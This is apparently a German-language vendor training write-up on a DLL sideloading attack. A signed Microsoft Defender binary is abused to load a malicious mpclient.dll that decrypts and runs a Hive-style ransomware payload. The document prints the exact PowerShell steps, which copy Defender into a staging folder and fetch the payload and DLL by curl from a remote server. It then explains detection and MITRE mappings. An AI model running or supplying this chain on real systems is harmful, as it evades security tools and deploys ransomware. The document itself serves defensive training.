Skip to main content

Trainingsszenario – DLL-Injektion

Gruppenname

Trainingsdaten - Dll Injection (Hive)

Szenario

In diesem Trainingsszenario führen wir eine verschlüsselte Ransomware-Payload mittels DLL-Injektion in einen signierten MS Defender aus. Es wurde eine benutzerdefinierte DLL erstellt, so wie sie ein Angreifer erstellen würde, die eine gefälschte .log-Datei entschlüsselt und ausführt.

Viele Sicherheitstools ignorieren schlicht Prozesse, die von einem signierten übergeordneten Prozess gestartet wurden, insbesondere von einem signierten Antivirus-Prozess, und noch mehr, wenn es sich um Defender handelt. Defender-Befehle sind nicht nur oft erlaubt, sondern auch häufig extrem privilegiert. Hier wird der Befehl für ein Signatur-Update bewaffnet - etwas, das nicht nur üblich ist, sondern auch bei jeglicher Art von Malware-Jagd ignoriert würde. Wir zeigen hier, dass ein Angreifer selbst mit einfachem „Living off the Land“-Handwerk privilegierte Payloads ausführen kann, indem er ein einfaches Skript ohne benutzerdefinierte Injektionswerkzeuge auf dem Rechner platziert.

Hier ist das genaue Skript, das auf dem Opferrechner ausgeführt wurde. Beachten Sie, dass nichts explizit Bösartiges geschieht - das Kopieren der Defender-EXE(s) in ein Staging-Verzeichnis dient lediglich dazu, die C:\staging-Dateien in der Ursachenanalyse hervorzuheben.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

Aufgeschlüsselt Zeile für Zeile:

  1. Staging-Verzeichnis wird erstellt

  2. Defender wird in das Staging-Verzeichnis kopiert

  3. Die echte mpclient.dll wird umbenannt

  4. Verschlüsselte „Log“-Datei und bösartige DLL werden von einem Remote-Server heruntergeladen

  5. Der echte, signierte MpCmdRun wird mit der Signatur-Update-Aufgabe ausgeführt

MpCmdRun.exe
MpCmdRun.exe

Erkennung

Automated Response
Automated Response

Betrachtet man zunächst die automatisierte Reaktion, würden bei Ihnen sofort die Alarmglocken läuten. Ein Prozess, der nie zuvor gesehen wurde, mit einem zufälligen GUID-Namen, wurde ausgeführt und hat Cyber Crucible ausgelöst, dazu noch unsigniert. Beachten Sie jedoch, dass der Pfad hier leicht etwas weniger beängstigend aussehen könnte. Er wurde absichtlich als C:\staging belassen, um ihn hervorzuheben.

Der unmittelbar nächste Schritt wäre, diese Datei zu finden und herauszufinden, wie sie dorthin gelangt ist. Wahrscheinlich wurde sie automatisch gelöscht, aber wir können uns die Prozesserstellungen von Cyber Crucible ansehen, um zu sehen, wer sie ursprünglich ausgeführt hat.

Powershell → MpCmdRun → {7374F…}
Powershell → MpCmdRun → {7374F…}

Genau wie im obigen Szenario beschrieben, startete ein PowerShell-Skript eine Defender-ausführbare Datei, die wiederum unseren beängstigenden Prozess startete. Die Malware-Payload löste anschließend zahlreiche untergeordnete Prozesse aus, um verschiedene Staging-Aufgaben durchzuführen. Die Einsicht in diese Hintergrundprozesse liefert oft Erkenntnisse über auf dem System erstellte Dateien, geänderte Registrierungsschlüssel, Wurmaktivitäten usw.

Otherwise „invisible behavior“
Otherwise „invisible behavior“

Zu diesem Zeitpunkt wurde der Angriff bereits von Cyber Crucible eingedämmt, aber die Analyse der zugehörigen Prozesse ist wichtig, um den Umfang der bösartigen Aktivitäten zu ermitteln. Die Ausführung der unsignierten EXE allein wirkt offensichtlich, wenn sie von Cyber Crucible dargestellt wird, aber häufig würden Hintergrundprozesse, die von etwas so privilegiertem und geschütztem wie Defender gestartet werden, schlicht ignoriert.

Relevante Dokumentation

  • Mitre T1543 - Das Erstellen oder Modifizieren eines Systemprozesses kann bösartigen Code als normalen, vertrauenswürdigen Systemprozess vor der Malware-Erkennung tarnen.

  • Mitre T1068 - Die Durchführung einer Rechteausweitung über Software-Schwachstellen kann es bösartigem Code ermöglichen, Berechtigungsbeschränkungen oder virtualisierte Umgebungen zu umgehen.

  • Mitre T1055-001 - DLL-Injektion kann verwendet werden, um bösartigen Code in einen Prozess zu laden, indem der Zielprozess einfach angewiesen wird, eine neue DLL zu laden, oder indem eine legitime DLL vor dem Laden ersetzt wird.

  • Mitre T1059-001 - PowerShell wird von Windows-Malware häufig verwendet, um Malware-Einrichtungen durchzuführen, wie etwa das Ersetzen legitimer Dateien durch bösartige.